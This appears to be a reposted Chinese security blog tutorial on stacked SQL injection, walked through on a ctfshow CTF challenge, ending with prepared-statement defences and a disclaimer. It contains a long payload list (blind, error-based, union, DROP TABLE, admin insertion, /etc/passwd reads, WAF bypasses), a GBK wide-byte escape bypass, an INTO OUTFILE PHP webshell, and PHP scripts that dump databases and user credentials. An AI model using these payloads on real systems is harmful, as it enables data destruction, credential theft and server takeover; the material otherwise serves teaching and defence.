文章总结: 文章深入解析SQL堆叠注入原理,即利用分号分隔符执行多条恶意语句。核心内容包括堆叠注入的应用场景如数据破坏、提权及写入Webshell,并详细演示了利用宽字节漏洞绕过转义实现写Shell的实战过程。文末给出了参数化查询、最小权限等具体防御措施。内容兼具理论分析与实操代码,对安全防御具有较高参考价值。 综合评分: 87 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,安全建设
SQL注入:堆叠注入写shell详解
原创
小话安全 小话安全
小话安全
2026年2月23日 17:35 山东
按照之前文章联合查询注入测试注入点,响应都是200
注入点测试
小话安全,公众号:小话安全CTF预告:ctfshow联合查询注入详解
一、什么是堆叠注入?
堆叠注入是一种攻击技术,允许攻击者通过一个输入点一次性执行多条SQL语句。其核心原理是利用数据库支持分号(;)作为语句分隔符的特性:攻击者在输入中插入分号,结束前一条预期的SQL语句,并拼接执行一条新的恶意SQL语句。
简单对比:
- *普通SQL注**:像是修改试卷答案,改变了题目本意,但试卷本身不变。
原语句:`SELECT * FROM users WHERE username = '$username'` 恶意输入:`admin' --` 最终语句:`SELECT * FROM users WHERE username = 'admin' -- '`
(仅执行查询)
- **堆叠注入**:像是不仅修改答案,还在后面附加一张由你命题的新试卷。
原语句:`SELECT * FROM products WHERE id = $id` 恶意输入:`1; DROP TABLE products` 最终语句:`SELECT * FROM products WHERE id = 1; DROP TABLE products`(先查询,再删表)
二、应用场景与危害
堆叠注入赋予攻击者在数据库层面执行任意命令的能力,其应用场景主要包括:
**1. 直接数据破坏**
攻击者通过堆叠注入执行 DELETE、UPDATE 等操作,篡改或删除数据。
示例:`1; UPDATE admins SET password = 'hacked';`
**2. 权限提升与后门植入**
在数据库中创建新的管理员账户,为长期控制打开通道。
示例:`1; INSERT INTO users (username, password, role) VALUES ('attacker', 'password', 'admin');`
**3. 获取系统命令执行权限(终极攻击)**
当数据库配置不当且权限过高时,攻击者可利用数据库特性向服务器写入Webshell,完全接管服务器。
示例(MySQL):`1; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'`
**4. 绕过安全防御**
当应用程序过滤了 UNION、SELECT 等关键字时,堆叠注入可通过执行 SET、RENAME、ALTER 等语句绕过限制。
**5. 高效信息收集**
连续执行多条查询,快速获取数据库版本、用户、结构等信息。
示例:`1; SELECT version(); SELECT user();`
三、防御措施
**1. 使用参数化查询(预处理语句)**
这是最根本的防御,将SQL代码与数据完全分离,确保用户输入仅作为数据处理,无法改变语句结构。
**2. 遵循最小权限原则**
为应用分配仅具备必要权限的数据库账户(如仅对特定表 SELECT/UPDATE),限制攻击者在注入后的破坏能力。
**3. 实施严格的输入验证**
在无法使用参数化查询时,采用白名单验证(如强制数字类型转换),避免使用易绕过的黑名单。
**4. 部署WAF**
作为补充防线,可拦截已知攻击载荷,但不能替代安全编码实践。
解题过程:
admin' # 用于探测单引号是否引起数据库错误admin" # 用于探测双引号是否引起数据库错误admin' -- # 闭合单引号并注释掉后续SQL语句(通用)admin' # # 闭合单引号并使用MySQL风格的注释admin' /* # 闭合单引号并开始多行注释admin\' # 尝试用反斜杠转义引号,可能破坏转义函数逻辑admin\\' # 双反斜杠后加引号,用于测试转义处理admin%5c' OR 1=1 -- # 以%5c结尾后拼接条件,利用反斜杠改变语句结构admin' AND 1=1 -- # 布尔盲注:恒真条件,响应正常admin' AND 1=2 -- # 布尔盲注:恒假条件,响应异常admin' OR '1'='1 # 无注释的恒真条件,用于验证admin' AND SLEEP(5) -- # MySQL时间盲注,延迟5秒admin' WAITFOR DELAY '0:0:5' -- # SQL Server时间盲注admin' AND pg_sleep(5) -- # PostgreSQL时间盲注admin' UNION SELECT 1,2,3 -- # 联合查询探测字段数量(需根据实际列数调整)admin' UNION SELECT NULL, database(), user() -- # 联合查询获取数据库名和用户名admin' AND updatexml(1, concat(0x7e, database()), 1) -- # MySQL报错注入admin' AND extractvalue(1, concat(0x7e, database())) -- # MySQL报错注入admin' AND dbms_xdb.versionInfo() -- # Oracle报错注入admin'; DROP TABLE users -- # 堆叠注入:删除表(需数据库支持多语句)admin'; INSERT INTO admins VALUES ('hacker','pass') -- # 堆叠注入:插入管理员账户admin'; SELECT @@version -- # 堆叠注入:获取数据库版本admin' UNION SELECT 1, "<?php system($_GET['cmd']); ?>", 3 INTO OUTFILE '/var/www/html/shell.php' -- # 写入Webshell(需具备文件写入权限)admin' UNION SELECT LOAD_FILE('/etc/passwd') -- # 读取服务器文件%df%5c' # 宽字节注入(针对GBK编码,与反斜杠组合成宽字符)%bf%5c' # 宽字节注入的另一变种admin' UN/**/ION SELECT 1,2 -- # 使用注释分割关键字绕过WAFadmin%27%20UNION%20SELECT%201,2%20-- # URL编码绕过
堆叠注入写入shell
SELECT * FROM users WHERE username='\' AND password=' or 1=1;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/2.php";#'
由于反斜杠转义了第一个单引号,实际执行的语句变为两条(堆叠注入),导致任意 SQL 执行。
连接数据库报错
用php马查看数据库内容
<?php$conn = new mysqli('127.0.0.1', 'root', 'root');if ($conn->connect_error) die("连接失败: " . $conn->connect_error);$result = $conn->query("SHOW DATABASES;");while ($row = $result->fetch_array()) echo $row[0]."\n";?>
查看数据内的表和字段名
<?php$host = '127.0.0.1';$user = 'root';$pass = 'root';
// 创建连接$conn = new mysqli($host, $user, $pass);if ($conn->connect_error) { die("连接失败: " . $conn->connect_error);}
// 设置字符集(避免中文乱码)$conn->set_charset('utf8mb4');
echo "<pre>"; // 使用 <pre> 保持格式(Web 环境)
// 1. 获取所有数据库$db_result = $conn->query("SHOW DATABASES;");if (!$db_result) { die("查询数据库失败: " . $conn->error);}
while ($db_row = $db_result->fetch_array()) { $db_name = $db_row[0];
// 跳过系统数据库(可选) if (in_array($db_name, ['information_schema', 'performance_schema', 'mysql', 'sys'])) { continue; }
echo "\n📁 数据库:{$db_name}\n"; echo str_repeat('-', 50) . "\n";
// 2. 切换到当前数据库 $conn->select_db($db_name);
// 3. 获取该数据库的所有表 $table_result = $conn->query("SHOW TABLES;"); if (!$table_result) { echo " 无法获取表列表: " . $conn->error . "\n"; continue; }
if ($table_result->num_rows == 0) { echo " (空数据库)\n"; continue; }
while ($table_row = $table_result->fetch_array()) { $table_name = $table_row[0]; echo "\n 📄 表:{$table_name}\n";
// 4. 获取表的字段信息 $column_result = $conn->query("SHOW FULL COLUMNS FROM `{$table_name}`;"); if (!$column_result) { echo " 无法获取字段信息: " . $conn->error . "\n"; continue; }
while ($col = $column_result->fetch_assoc()) { $field = $col['Field']; $type = $col['Type']; $null = $col['Null']; $key = $col['Key']; $default = $col['Default']; $extra = $col['Extra']; $comment = $col['Comment'] ?? '';
echo " ├─ {$field} [{$type}]"; if ($key == 'PRI') echo " PRIMARY KEY"; if ($comment) echo " # {$comment}"; echo "\n"; } $column_result->free(); } $table_result->free();}$db_result->free();$conn->close();
echo "</pre>";?>
查询列的内容
<?php// 数据库连接配置$host = '127.0.0.1';$user = 'root';$pass = 'root';
// 创建连接$conn = new mysqli($host, $user, $pass);if ($conn->connect_error) { die("连接失败: " . $conn->connect_error);}$conn->set_charset('utf8mb4');
// ========== 请修改以下参数 ==========$database = 'ctfshow_page_informations'; // 目标数据库$table = 'users'; // 目标数据表$fields = 'id,username,password'; // 要查询的字段,多个用逗号分隔,如 'id, username, email'$where = ''; // 可选条件,如 "id > 100" 或 "username='admin'"$limit = 100; // 限制返回行数// ==================================
// 选择数据库$conn->select_db($database);
// 构建 SQL 查询$sql = "SELECT {$fields} FROM `{$table}`";if (!empty($where)) { $sql .= " WHERE {$where}";}if ($limit > 0) { $sql .= " LIMIT {$limit}";}
echo "<h3>执行查询:</h3><pre>" . htmlspecialchars($sql) . "</pre>";
$result = $conn->query($sql);if (!$result) { die("查询失败: " . $conn->error);}
// 输出结果表格echo "<table border='1' cellpadding='5' cellspacing='0'>";
// 表头(字段名)echo "<tr>";while ($field = $result->fetch_field()) { echo "<th>" . htmlspecialchars($field->name) . "</th>";}echo "</tr>";
// 数据行while ($row = $result->fetch_assoc()) { echo "<tr>"; foreach ($row as $value) { echo "<td>" . htmlspecialchars($value ?? 'NULL') . "</td>"; } echo "</tr>";}echo "</table>";
$result->free();$conn->close();?>
安全加固
<?phperror_reporting(0); // 关闭所有PHP错误报告,防止敏感信息泄露include_once("conn.php"); // 包含数据库连接文件,创建$conn对象(MySQLi连接)
if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 检查当前请求是否为POST方式(只有POST才处理登录) $username = $_POST['username'] ?? ''; // 从POST中获取用户名,若不存在则设为空字符串 $password = $_POST['password'] ?? ''; // 从POST中获取密码,若不存在则设为空字符串
#$username = $conn->real_escape_string($username); #$password = $conn->real_escape_string($password); // 预处理语句:准备SQL模板,?是占位符,后续用参数安全替换 $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); if ($stmt) { // 检查预处理是否成功 // 绑定参数:将变量绑定到占位符,"ss"表示两个参数都是字符串类型 $stmt->bind_param("ss", $username, $password); $stmt->execute(); // 执行预处理语句(此时参数已安全传入) $result = $stmt->get_result(); // 获取查询结果集(对于SELECT语句)
if ($result->num_rows > 0) { // 如果结果集中有数据(用户名密码正确) session_start(); // 启动会话 $_SESSION['username'] = $username; // 将用户名存入会话,标识登录状态 header("Location: main.php"); // 重定向到主页面 exit(); // 立即终止脚本,确保重定向生效 } else { // 无匹配记录(登录失败) // 弹出提示框并返回上一页(历史返回) echo "<script>alert('Invalid username or password');history.back();</script>"; } $stmt->close(); // 关闭预处理语句,释放资源 } else { // 预处理失败(如SQL错误、数据库连接问题) // 记录详细错误到服务器日志(不暴露给用户) error_log("Prepare failed: " . $conn->error); die("系统错误"); // 输出友好错误信息并终止脚本 }} else { // 非POST请求(如直接访问本脚本) header("Location: index.php"); // 重定向到登录页 exit(); // 停止执行}?>
如果只用进行简单过滤
$username = $conn->real_escape_string($username);$password = $conn->real_escape_string($password);
real_escape_string() 会对单引号 ' 添加反斜杠转义,变成 \'(即 %5c%27)。在 GBK 字符集下,如果输入以 %df 开头,则 %df 与转义添加的反斜杠 %5c 组合成一个合法汉字(如“運”),导致反斜杠被消耗,单引号 %27逃逸,成功闭合前面的 username = '
要写入 WebShell,需要满足以下前提:数据库连接字符集为 GBK 等存在宽字节漏洞的编码(例如通过 SET NAMES 'gbk' 设置)。数据库当前用户拥有 FILE 权限,且知道 Web 绝对路径(例如 /var/www/html/)。目标数据库支持 INTO OUTFILE 写入文件(MySQL 常用)。
先用php代码查看字符集
<?phpinclude_once("conn.php"); // 假设 $conn 已连接echo "当前连接字符集: " . $conn->character_set_name();?>
如果值为 gbk、gb2312、big5 等,则说明连接使用了宽字节编码,存在被利用的风险。
直播时间:2月23日晚21点
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小话安全 小话安全 小话安全《SQL注入:堆叠注入写shell详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论